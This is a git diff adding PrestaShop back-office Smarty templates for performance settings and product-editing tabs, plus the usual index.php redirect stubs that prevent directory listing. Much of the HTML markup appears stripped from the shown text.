+ {/if} + {$smarty.block.parent} +{/block} + +{block name="description"} + {$smarty.block.parent} + {if $input.type == 'radio' && $input.name == 'combination'} +
    +
  • {l s='Combinations tab on product page'}
  • +
  • {l s='Value'}
  • +
  • {l s='Attribute'}
  • +
+ {elseif $input.type == 'radio' && $input.name == 'feature'} +
    +
  • {l s='Features tab on product page'}
  • +
  • {l s='Feature'}
  • +
  • {l s='Feature value'}
  • +
+ {/if} +{/block} + +{block name="field"} + {$smarty.block.parent} + {if $input.type == 'text' && $input.name == 'ps_cache_fs_directory_depth'} +
+ {/if} +{/block} + +{block name="other_input"} + {if $key == 'memcachedServers'} +
+ + + {if $servers} +
+ + + + + + + + + {foreach $servers AS $server} + + + + + + + + {/foreach} +
{l s='ID'}{l s='IP address'}{l s='Port'}{l s='Weight'} 
{$server.id_memcached_server}{$server.ip}{$server.port}{$server.weight} + + + +
+
+ {/if} +
+ {/if} +{/block} + +{block name="script"} + + function showMemcached() + { + if ($('#caching_system option:selected').val() == 'CacheMemcache') + { + $('#memcachedServers').show(); + $('#directory_depth').hide(); + } + else + { + $('#memcachedServers').hide(); + $('#directory_depth').show(); + } + } + + $(document).ready(function() { + + showMemcached(); + + $('#caching_system').change(function() { + showMemcached(); + }); + + $('#addMemcachedServer').click(function() { + $('#formMemcachedServer').show(); + return false; + }); + + $('#testMemcachedServer').click(function() { + var host = $('input:text[name=memcachedIp]').val(); + var port = $('input:text[name=memcachedPort]').val(); + if (host && port) + { + $.ajax({ + url: 'index.php', + data: + { + controller: 'adminperformance', + token: '{$token}', + action: 'test_server', + sHost: host, + sPort: port, + ajax: true + }, + context: document.body, + dataType: 'json', + context: this, + async: false, + success: function(data) + { + if (data && $.isArray(data)) + { + var color = data[0] != 0 ? 'green' : 'red'; + $('#formMemcachedServerStatus').show(); + $('input:text[name=memcachedIp]').css('background', color); + $('input:text[name=memcachedPort]').css('background', color); + } + } + }); + } + return false; + }); + + $('input[name="smarty_force_compile"], input[name="smarty_cache"], input[name="smarty_console"]').change(function(){ + $('#smarty_up').val(1); + }); + + $('input[name="combination"], input[name="feature"]').change(function(){ + $('#features_detachables_up').val('true'); + }); + + $('input[name="_MEDIA_SERVER_1_"], input[name="_MEDIA_SERVER_2_"], input[name="_MEDIA_SERVER_3_"]').change(function(){ + $('#media_server_up').val(1); + }); + + $('input[name="PS_CIPHER_ALGORITHM"]').change(function(){ + $('#ciphering_up').val(1); + }); + + $('input[name="active"], select[name="caching_system"]').change(function(){ + $('#cache_up').val(1); + }); + + }); + +{/block} diff --git a/BO/themes/default/template/controllers/performance/helpers/form/index.php b/BO/themes/default/template/controllers/performance/helpers/form/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/performance/helpers/form/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/performance/helpers/index.php b/BO/themes/default/template/controllers/performance/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/performance/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/performance/index.php b/BO/themes/default/template/controllers/performance/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/performance/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/preferences/helpers/index.php b/BO/themes/default/template/controllers/preferences/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/preferences/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/preferences/helpers/options/index.php b/BO/themes/default/template/controllers/preferences/helpers/options/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/preferences/helpers/options/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/preferences/helpers/options/options.tpl b/BO/themes/default/template/controllers/preferences/helpers/options/options.tpl new file mode 100755 index 0000000..646cb30 --- /dev/null +++ b/BO/themes/default/template/controllers/preferences/helpers/options/options.tpl @@ -0,0 +1,33 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/options/options.tpl"} +{block name="input"} + {if $field['type'] == 'disabled'} + {$field['disabled']} + {else} + {$smarty.block.parent} + {/if} +{/block} diff --git a/BO/themes/default/template/controllers/preferences/index.php b/BO/themes/default/template/controllers/preferences/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/preferences/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/products/associations.tpl b/BO/themes/default/template/controllers/products/associations.tpl new file mode 100755 index 0000000..71a1d1f --- /dev/null +++ b/BO/themes/default/template/controllers/products/associations.tpl @@ -0,0 +1,119 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +
+

{l s='Associations'}

+ + {include file="controllers/products/multishop/check_fields.tpl" product_tab="Associations"} +
+
+ {l s='Please select a default category.'} +
+ + + + + + + + + + + + + + + + +
+ {include file="controllers/products/multishop/checkbox.tpl" field="category_box" type="category_box"} + + +
+ {$category_tree} +
+
 
+ + {l s='Create new category'} + {l s='Create new category'} + +
+ {include file="controllers/products/multishop/checkbox.tpl" field="id_category_default" type="default"} + + + +
{l s='The default category is the category displayed by default.'}
+
+
+ + + + + + +
+ + + +
+ + + +
+

+ + {l s='Begin typing the first letters of the product name, then select the product from the drop-down list.'} +

+

{l s='(Do not forget to save the product afterward)'}

+ +
+
+ {* @todo : donot use 3 foreach, but assign var *} + {foreach from=$accessories item=accessory} + {$accessory.name|escape:'htmlall':'UTF-8'}{if !empty($accessory.reference)}{$accessory.reference}{/if} + + +
+ {/foreach} +
+
+     + + {l s='Create new manufacturer'} + {l s='Create new manufacturer'} + +
+
\ No newline at end of file diff --git a/BO/themes/default/template/controllers/products/attachments.tpl b/BO/themes/default/template/controllers/products/attachments.tpl new file mode 100755 index 0000000..a4b6024 --- /dev/null +++ b/BO/themes/default/template/controllers/products/attachments.tpl @@ -0,0 +1,98 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if isset($obj->id)} + +

{l s='Attachment'}

+
+
+ +
+ {foreach $languages as $language} +
+ +
+ {/foreach} +  * +
+

{l s='Maximum 32 characters.'}

+
 
+ +
+ {foreach $languages as $language} +
+ +
+ {/foreach} +
+
 
+ +
+

+

{l s='Upload a file from your computer'} ({$PS_ATTACHMENT_MAXIMUM_SIZE|string_format:"%.2f"} {l s='MB max.'})

+
+
 
+
+ +
+
* {l s='Required field'}
+
+
+
 
+ + + + + +
+

{l s='Available attachments:'}

+

+ + {l s='Add'} >> + +
+

{l s='Attachments for this product:'}

+

+ + << {l s='Remove'} + +
+
 
+ + + +{/if} diff --git a/BO/themes/default/template/controllers/products/combination/helpers/index.php b/BO/themes/default/template/controllers/products/combination/helpers/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/products/combination/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/products/combination/helpers/list/index.php b/BO/themes/default/template/controllers/products/combination/helpers/list/index.php new file mode 100755 index 0000000..42c3c0a --- /dev/null +++ b/BO/themes/default/template/controllers/products/combination/helpers/list/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/products/combination/helpers/list/list_footer.tpl b/BO/themes/default/template/controllers/products/combination/helpers/list/list_footer.tpl new file mode 100755 index 0000000..4152798 --- /dev/null +++ b/BO/themes/default/template/controllers/products/combination/helpers/list/list_footer.tpl @@ -0,0 +1,36 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/list/list_footer.tpl"} + +{block name="after"} + +
+
    +
  • {l s='The row in blue is the default combination.'}
  • +
  • {l s='A default combination must be designated for each product.'}
  • +
+
+{/block} diff --git a/BO/themes/default/template/controllers/products/combination/index.php b/BO/themes/default/template/controllers/products/combination/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/products/combination/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/products/combinations.tpl b/BO/themes/default/template/controllers/products/combinations.tpl new file mode 100755 index 0000000..b6a3e45 --- /dev/null +++ b/BO/themes/default/template/controllers/products/combinations.tpl @@ -0,0 +1,287 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + +{if isset($product->id) && !$product->is_virtual} + + +

{l s='Add or modify combinations for this product.'}

+
{l s='Or use the'} +  combinations_generator{l s='Product combinations generator'} + {l s='in order to automatically create a set of combinations.'} + {if $combination_exists} +
+
    +
  • {l s='Some combinations already exist. If you want to generate new combinations, the quantities for the existing combinations will be lost.'}
  • +
  • {l s='You can add a combination by clicking the link "Add new combination" on the toolbar.'}
  • +
+
+ {/if} + {if isset($display_multishop_checkboxes) && $display_multishop_checkboxes} +
+ {include file="controllers/products/multishop/check_fields.tpl" product_tab="Combinations"} + {/if} +
+ + + + {$list} +{/if} diff --git a/BO/themes/default/template/controllers/products/customization.tpl b/BO/themes/default/template/controllers/products/customization.tpl new file mode 100755 index 0000000..5c8fb1a --- /dev/null +++ b/BO/themes/default/template/controllers/products/customization.tpl @@ -0,0 +1,80 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if isset($obj->id)} + +

{l s='Add or modify customizable properties.'}

+ + {include file="controllers/products/multishop/check_fields.tpl" product_tab="Customization"} +

+ + + + + + + + + + + + + + {if $has_file_labels} + + + + + + + + {/if} + {if $has_text_labels} + + + + + + + + {/if} +
+ {include file="controllers/products/multishop/checkbox.tpl" field="uploadable_files" type="default"} + + + +

{l s='Number of upload file fields displayed'}

+
+ {include file="controllers/products/multishop/checkbox.tpl" field="text_fields" type="default"} + + + +

{l s='Number of text fields displayed'}

+
 
{l s='Define the label of the file fields:'} + {$display_file_labels} +
{l s='Define the label of the text fields:'} + {$display_text_labels} +
+{/if} \ No newline at end of file diff --git a/BO/themes/default/template/controllers/products/features.tpl b/BO/themes/default/template/controllers/products/features.tpl new file mode 100755 index 0000000..5b7036d --- /dev/null +++ b/BO/themes/default/template/controllers/products/features.tpl @@ -0,0 +1,100 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if isset($product->id)} + +

{l s='Assign features to this product:'}

+
+
    +
  • {l s='You can specify a value for each relevant feature regarding this product. Empty fields will not be displayed.'}
  • +
  • {l s='You can either create a specific value, or select among the existing pre-defined values you\'ve previously added.'}
  • +
+ + + +
+ + + + + + + + + + + +
{l s='Feature'}{l s='Pre-defined value'}{l s='or'} {l s='Customized value'}
+ {foreach from=$available_features item=available_feature} + + + + + + + + + + + + + {foreachelse} + + {/foreach} + +
{$available_feature.name} + {if sizeof($available_feature.featureValues)} + + {else} + + {l s='N/A'} - + values_first {l s='Add pre-defined values first'} + + {/if} + + {foreach from=$languages key=k item=language} +
+ +
+ {/foreach} +
{l s='No features have been defined'}
+
+ +{/if} diff --git a/BO/themes/default/template/controllers/products/helpers/form/form.tpl b/BO/themes/default/template/controllers/products/helpers/form/form.tpl new file mode 100755 index 0000000..8f82808 --- /dev/null +++ b/BO/themes/default/template/controllers/products/helpers/form/form.tpl @@ -0,0 +1,264 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/form/form.tpl"} + +{block name="autoload_tinyMCE"} + // Execute when tab Informations has finished loading + tabs_manager.onLoad('Informations', function(){ + tinySetup({ + editor_selector :"autoload_rte", + setup : function(ed) { + ed.onInit.add(function(ed) + { + if (typeof ProductMultishop.load_tinymce[ed.id] != 'undefined') + { + if (typeof ProductMultishop.load_tinymce[ed.id]) + ed.hide(); + else + ed.show(); + } + }); + + ed.onKeyUp.add(function(ed, e) { + tinyMCE.triggerSave(); + textarea = $('#'+ed.id); + max = textarea.parent('div').find('span.counter').attr('max'); + if (max != 'none') + { + textarea_value = textarea.val(); + count = stripHTML(textarea_value).length; + rest = max - count; + if (rest < 0) + textarea.parent('div').find('span.counter').html('{l s='Maximum'} '+max+' {l s='characters'} : '+rest+''); + else + textarea.parent('div').find('span.counter').html(' '); + } + }); + } + }); + }); +{/block} + +{block name="defaultForm"} +
+ +
+ + + {***********************************************} + {********** TO CHECK !!!!!!!!!!!!!!! ***********} + + + + + + +
+{/block} + diff --git a/BO/themes/default/template/controllers/products/helpers/form/index.php b/BO/themes/default/template/controllers/products/helpers/form/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/products/helpers/form/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/products/helpers/index.php b/BO/themes/default/template/controllers/products/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/products/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/products/helpers/list/index.php b/BO/themes/default/template/controllers/products/helpers/list/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/products/helpers/list/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/products/helpers/list/list_header.tpl b/BO/themes/default/template/controllers/products/helpers/list/list_header.tpl new file mode 100755 index 0000000..faa1f67 --- /dev/null +++ b/BO/themes/default/template/controllers/products/helpers/list/list_header.tpl @@ -0,0 +1,70 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/list/list_header.tpl"} + +{block name=leadin} + {if isset($category_tree)} + +
+
+ +
+ {l s='Filter by category'} +
+
+
+
+ {$category_tree} +
+
+
+ {/if} +{/block} diff --git a/BO/themes/default/template/controllers/products/images.tpl b/BO/themes/default/template/controllers/products/images.tpl new file mode 100755 index 0000000..a686c8e --- /dev/null +++ b/BO/themes/default/template/controllers/products/images.tpl @@ -0,0 +1,335 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if isset($id_product) && isset($product)} + +

2. {l s='Images'} ({$countImages})

+

{if isset($id_image)}{l s='Edit this product image'}{else}{l s='Add a new image to this product'}{/if}


+ + + + + + + + + + + + + +
+
+ +
+
+ +

+ {l s='Format:'} JPG, GIF, PNG. {l s='Filesize:'} {$max_image_size|string_format:"%.2f"} {l s='MB max.'} +

+
+ + {if Tools::getValue('id_image')}{/if} +
+ + + + + + {if $shops} + {foreach from=$shops item=shop} + + {/foreach} + {/if} + + + + + + +
{l s='Image'}{l s='Position'}{$shop.name}{l s='Cover'}{l s='Action'}
+
+ + + + + + {if $shops} + {foreach from=$shops item=shop} + + {/foreach} + {/if} + + + + + + +{/if} diff --git a/BO/themes/default/template/controllers/products/index.php b/BO/themes/default/template/controllers/products/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/products/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/products/informations.tpl b/BO/themes/default/template/controllers/products/informations.tpl new file mode 100755 index 0000000..267568c --- /dev/null +++ b/BO/themes/default/template/controllers/products/informations.tpl @@ -0,0 +1,389 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{if $check_product_association_ajax} +{assign var=class_input_ajax value='check_product_name '} +{else} +{assign var=class_input_ajax value=''} +{/if} + +
+

1. {l s='Info.'}

+

{l s='Product global information'}

+ + + {if isset($display_common_field) && $display_common_field} +
{l s='Warning, if you change the value of fields with an orange bullet %s, the value will be changed for all other shops for this product' sprintf=$bullet_common_field}
+ {/if} + + {include file="controllers/products/multishop/check_fields.tpl" product_tab="Informations"} + +
+ +
+ + + + + + + +
+ +
+
+ + {* global information *} + + + + + + + + + + + + + + + + +
+ {include file="controllers/products/multishop/checkbox.tpl" field="name" type="default" multilang="true"} + + + {foreach from=$languages item=language} +
